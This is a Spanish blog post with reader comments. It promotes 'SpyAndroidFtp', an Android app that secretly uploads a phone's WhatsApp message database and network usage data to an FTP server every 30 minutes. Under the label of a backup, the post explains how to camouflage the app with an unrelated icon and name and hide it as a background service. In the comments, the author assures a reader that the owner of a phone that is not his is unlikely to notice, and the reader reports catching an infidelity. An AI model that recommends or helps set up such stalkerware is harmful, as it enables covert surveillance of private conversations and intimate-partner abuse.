miércoles, 10 de julio de 2013

SpyAndroidFtp: Backup diario de tus conversaciones de Whatsapp a un servidor FTP

ACTUALIZACION(10/04/2014): Atencion, han hecho actualizaciones en whatsapp, y es probable que la aplciacion no funcione correctamente con las ultimas versiones de whatsapp. Estaré trabajando mientras tanto, para solucionarlo. 

Con el fin de automatizar el proceso de recuperación de la base de datos de whatsapp y adentrarme un poco en esto de la programación de aplicaciones para smartphones.
Anteriormente escribí unas entradas sobre como obtener las base de datos de whatsapp en Android
http://gonzac-studios.blogspot.com.ar/2012/03/hack-obtener-mensajes-de-whatsapp.html
y como desencriptar estas mismas.
http://gonzac-studios.blogspot.com.ar/2012/06/hack-desencriptar-y-obtener-datos-de.html
Incluso subí un programa para extraer y ordenar las conversaciones para una mejor lectura.

Pero tener que buscar la base de datos, conectar al equipo y pasarlos manualmente me parecía algo tedioso, si lo que se quiere es tener un respaldo en el PC. Entonces se me ocurrió, porque no mejor que una aplicación realice un respaldo cada cierto tiempo y lo envié a un servidor. Y que ademas sea transparente para el usuario.

SpyAndroidFtp (aun esta en su versión beta), te permite mantener un respaldo de tu base de datos de whatsapp 'msgstore.db.crypt' que son subidas cada 30 minutos a un servidor FTP en el cual tengamos cuenta. Ademas de hacer una recopilación del estado de red actual de nuestro smartphone, en caso de estar conectado por wifi y así mantener una estadística de la distancia, uso y redes.
Solo se requiere abrir la aplicación una sola vez para cargar los datos del servidor, y al salir un servicio seguirá enviando los archivos, incluso luego de encender y apagar el smartphone.

Screenshots:
Icono SpyAndroidFtp   


  • Camuflaje:Icono y nombre, no relacionado. Pantalla principal, texto y titulo no descriptivo. contraseña de seguridad única. (openyourmind)

 
  • Interfaz simple, comprobación del usuario, estado de la conexión y envió de datos.

DESCARGA: LINK

Configurar nuestro servidor
Para ello, no se requiere grandes conocimientos. Solo usaremos un web hosting gratuito cualquiera.
Yo voy a usar de ejemplo 000webhost.com , pero ustedes pueden utilizar cualquier otro incluso uno servidor propio o hosting de pago.

1-Elegimos "Free Hosting" y hacemos click en "Order now"

 2-Completamos los datos, donde dice "yourdomain.com" no lo tocamos, es solo si tenemos un dominio propio. Abajo completamos con el nombre que queramos, en mi caso "spyandroid", luego el nombre de usuario y contraseña.

3-Una vez confirmado el mail, nos logeamos y debemos entrar al CPanel "Go to CPanel"

4-En el CPanel, vamos a la parte "Files"  y luego a "View FTP Details"

5-Podremos ver los datos y cambiar la contraseña de nuestro FTP, recuerden anotarlos son los que usará el SpyAndroidFtp.
 

6- Volviendo al CPanel, en la parte "Files" tenemos también el "File Manager" donde podremos ver los archivos subidos luego de que configuremos el SpyAndroidFtp, y descargarlos. Pueden sino, descargar un programa como el "Filezilla" y loguearse con los datos del FTP y así no tener que abrir la pagina.

Instalar aplicaciones desde la sdcard
Una vez descargada la aplicación y copiada a la tarjeta de memoria del smartphone, solo hay que tener habilitada la opción instalar aplicaciones desde orígenes desconocidos, entrando a la parte de configuración,  a "ajustes"->"aplicaciones" y marcar la casilla.

E instalarlas desde el explorador de internet, escribiendo la direccion "file:///sdcard/spyandroidftp.apk"
también pueden usar un explorador de archivos, o aplicación para tal fin.

Aclaración: Al iniciar la aplicación va a pedir la contraseña (openyourmind), la primera vez que ingresen los datos puede que surja un error, volverá a la pantalla inicial y deberán colocar nuevamente los datos. Y no deberían tener ningún problema. Recuerden salir, de la pantalla con los botones para tal fin, así no queda a la vista.

31 comentarios:

  1. consulta para que lo realizas cada 30 minutos
    si, el respaldo del wasap se realiza todos los dias a las 4 AM ??

    ResponderEliminar
  2. Si, la idea era cada día pero dentro del programa programe un solo "metodo" enviar , entonces enviá los dos archivos el de whatsapp y el de las redes. Lo de los 30min es para el que quiera detectar las redes y asi pueda tener un "seguimiento" del uso de redes de forma frecuente.
    Cuando corrija alguna que otra cosa, lo voy a mejorar.

    saludos

    ResponderEliminar
  3. Hola, que tal, gracias por la ayuda, las herramientas decrypt y extractor me funcionaron muy bien, pero tengo la duda si hay algo para las bases de datos de whatsapp de blackberry esas solo son .db no tienen el .db.crypt, sabes de algo para esto. Gracias nuevamente funciona todo a la perfeccion.

    ResponderEliminar
    Respuestas
    1. ¿Estas segura que no tienes deshabilitado mostrar extensiones de archivos? porque no conosco, de cualquier forma no tengo para hacer pruebas.

      Saludos

      Eliminar
  4. Hola, me gustaria preguntarte que puedo hacer con el codigo de activación de un whatsapp ajeno, que por voluntad me lo han facilitado.

    ResponderEliminar
    Respuestas
    1. Mmm no creo que se pueda hacer mucho. Porque el usuario está asociado con su numero de telefono.

      saludos

      Eliminar
  5. No me queda claro para que envia cada 30 minutos, si el backup solo se genera a las 4 AM una vez por dia. No entiendo bien el programa. incluso en mi celular no siempre hace el backup bien, a veces pasan varios dias sin hacer el backup.

    ResponderEliminar
    Respuestas
    1. Cuando programé el metodo/funcion "porcion de codigo" que se encargaba del envio. Puse que enviara las 2 tablas, la de whatsapp y la de el estado de la red (que es la que se debe enviar cada 30min para poder tener un seguimiento de donde se conecta el movil).
      Cuando haga una actualizacion, lo separaré en dos metodos independientes con distinto horario.
      Si no se envia el backup debe ser un problema de conectividad. Pero, lo revisaré.

      GRacias, y saludos

      Eliminar
  6. hola,me he descargado la aplicacion y la he instalado pero no se que datos meter en el apartado servidor cuando inicio la aplicacion, si XXXXXXXX.host56.com o server36.000webhost.com. por favor AYUDAAAAAAA

    ResponderEliminar
    Respuestas
    1. Debes usar ftp hostname, en tu caso seria XXXXXXXX.host56.com
      sino estas seguro, pruebalo en filezilla o algun cliente ftp, que luego te servirá para descargarte el archivo.

      Saludos

      Eliminar
  7. Oye tengo una duda, segun yo realize todos los pasos que dices, pero cuando ingreso los datos en la app se me congela cuando le doy confirmar de ahi no pasa. Que puedo hacer?

    ResponderEliminar
    Respuestas
    1. Aveces sucede con archivos grandes, o porque hay varias aplicaciones.
      Revisa tu cuenta ftp, para ver si te llegan los archivos.

      saludos

      Eliminar
  8. Al confirmar los datos del FTP se queda bloqueado...
    Alguna sugerencia?

    ResponderEliminar
    Respuestas
    1. Debes esperar un rato, y al cerrarlo deberia quedar un proceso oculto enviando los datos,
      revisa tu cuenta si no se subio algun archivo.
      La primera vez que ingresen los datos puede que surja un error, volverá a la pantalla inicial y deberán colocar nuevamente los datos

      saludos

      Eliminar
  9. holaaa, vamos a ver si me puedes ayudar..... instalo todo tal como dices en el blog, pero al terminar de instalar todo me sale el siguiente mensaje......."lo sentimos la aplicacion root config (proceso com spyandridftp) se ha interrumpido inesperadamete. intentelo de nuevo"... estoy cansado de intentarlo pero nada.. me podrias ayudar o dar las instruciones mas detalladas para la instalacion... no se que hago mal, pero no me funciona la aplicacion

    ResponderEliminar
    Respuestas
    1. Revisa si se envia algun archivo, puede ser que tu version de android no sea compatible. Esta compilado para 2.1 en adelante.

      saludos

      Eliminar
  10. hola amigo me gusta mucho el blog y las soluciones es posible usarlo en un blackberry? y si no podrias intentar un tutorial porque a diferencia de los android en los blackberrys no se crea el archivo db.cryth solo .db si puedes ayudar te lo agradezco

    ResponderEliminar
    Respuestas
    1. No funciona para android, porque aun no se sabe como es la key para desencriptar los datos. Cuando pueda hacer algo, podria compilar el programa para usar en bb. Pero no he tenido tiempo.

      Saludos

      Eliminar
  11. Hola, cuando descargo el msgstore, se me descarga como index.php, Le cambio el nombre en el PC a msgstore.db.crypt, y hago todos los pasos de desencriptar archivo, pero el archivo final, el txt me aparece vacio. Me podrias ayudar. Como puedo bajar el archivo msgstore con su nombre original sin el .php? Gracias, Un saludo

    ResponderEliminar
    Respuestas
    1. El archivo que te aparece lo genera tu servidor automaticamente,
      el msgstore se encuentra en otra carpeta o no has configurado correctamente los datos en el spyandroidftp. (Si aparecia un cartel de que el archivo se encontró y fue enviado correctamente entonces tiene que estar en otra carpeta en tu servidor, fijate en una carpeta antes)

      saludos

      Eliminar
  12. MMM si yo hago esto en un tlf que no es mio.... que posibilidad hay de que el dueño se de cuenta? PD: El dueño no tiene muchos conocimientos de informatica. Otra cosa es posible recuperar los mensajes borrados de algunos contactos? Yo he intentado otras herramientras pero algunos datos no se recuperan .... supongo que tendre que usar el tuneup

    ResponderEliminar
    Respuestas
    1. No es muy probable que te descubran, no se muestran los datos, y el programa se queda funcionando oculto como un servicio por lo que no sale en el administrador de tareas.
      Las conversaciones borradas directamente desde el whatsapp se borran de la base de datos incluyendo sus paginas troncales para que nose puedan recuperar.
      Intenta con recovermessages.com .
      Si te da resultado, avisanos. Saludos

      Eliminar
    2. muchas gracias.... y si, la página recupera algunos pero no todos los mensajes.... gracias a esto he pillado una infidelidad y cosas sorprendentes....

      Otra cosa puedo conseguir el archivo cada 10 minutos? en lugar de 30?

      Eliminar
    3. Para eso tengo que cambiar el código, de todas formas, todos los datos se guardan en un horario fijo del día. Por lo que, no hace falta.

      saludos

      Eliminar
  13. esta aplicacion es opensource? publicaste el codigo fuente en github o similar? Seria mejor que en vez de usar ftp, use gmail

    ResponderEliminar
    Respuestas
    1. La idea de que use ftp, es que pueda subir un unico archivo y se vaya actualizando.
      ¿Como seria con gmail?

      saludos

      Eliminar
  14. hola, funciona perfecto,pero me gustaria que me envie una vez por dia y en un horario que yo elija, y solo por wifi.. se podra modificar a eso?

    ResponderEliminar
    Respuestas
    1. Que tal, disculpa la demora. Se puede , pero hay que modificar el codigo. Cuando tenga una cuenta en el market lo podria subir. De todos odos, no tengo tiempo.

      saludos

      Eliminar
  15. Buenas noches, amigo disculpe, no soy muy ducho en esto de la programacion, pero necesito obtener unas imagenes de una conversacion que tengo respaldada de whatsapp.. como podria hacer esto? pues hay cosas que no comprendo dentro de su explicacion, habra un modo mas "entendible" de realizarlo?

    ResponderEliminar
  16. Buenas noches gonza, pude hacer todos los pasos que indicas en el apartado de whatsappdecrypt, este me genera un archivo llamado msg.db, cuando intento abrirlo desde SQLite Manager solo me arroja el siguiente error:

    "SQLiteManager: Error in opening file msg.db - either the file is encrypted or corrupt
    Exception Name: NS_ERROR_FILE_CORRUPTED
    Exception Message: Component returned failure code: 0x8052000b (NS_ERROR_FILE_CORRUPTED) [mozIStorageService.openUnsharedDatabase]"

    A que se debe este error? como puedo hacer para recuperar la conversacion, y obtener unas imagenes de una de esas conversaciones?

    Como haria, dime si puedo enviarte el archivo a algun sitio para recuperar esas imagenes.

    Muchas gracias y buenas noches.

    ResponderEliminar
    Respuestas
    1. Pasa de vez en cuando porque intentaste "ejecutar" una consulta sql en la pestaña "Ejecutar SQL", para ver las tablas lo haces desde la pestaña "Explorar & Buscar" y luego en la tabla que deseas ver (en la barra lateral, en "Tables").
      Otras veces porque tenias otro archivo cargado, otro programa lo está utilizando o por algún problema de lectura.
      Asegurarte que lo tienes copiado en la PC (por ejemplo en el escritorio) Y que no haya ningún programa que esté accediendo al fichero (aveces uno le hace doble click y se abre con el block de notas).
      Cierra el sqlite y el explorador. Vuelve a abrirlo, te preguntará si deseas cargar el archivo anterior y pones que no. Luego desde la ventana de sqlite abres el archivo.

      las imagenes no se como obtenerlas, disculpa no poder ayudarte con ello.
      Saludos

      Eliminar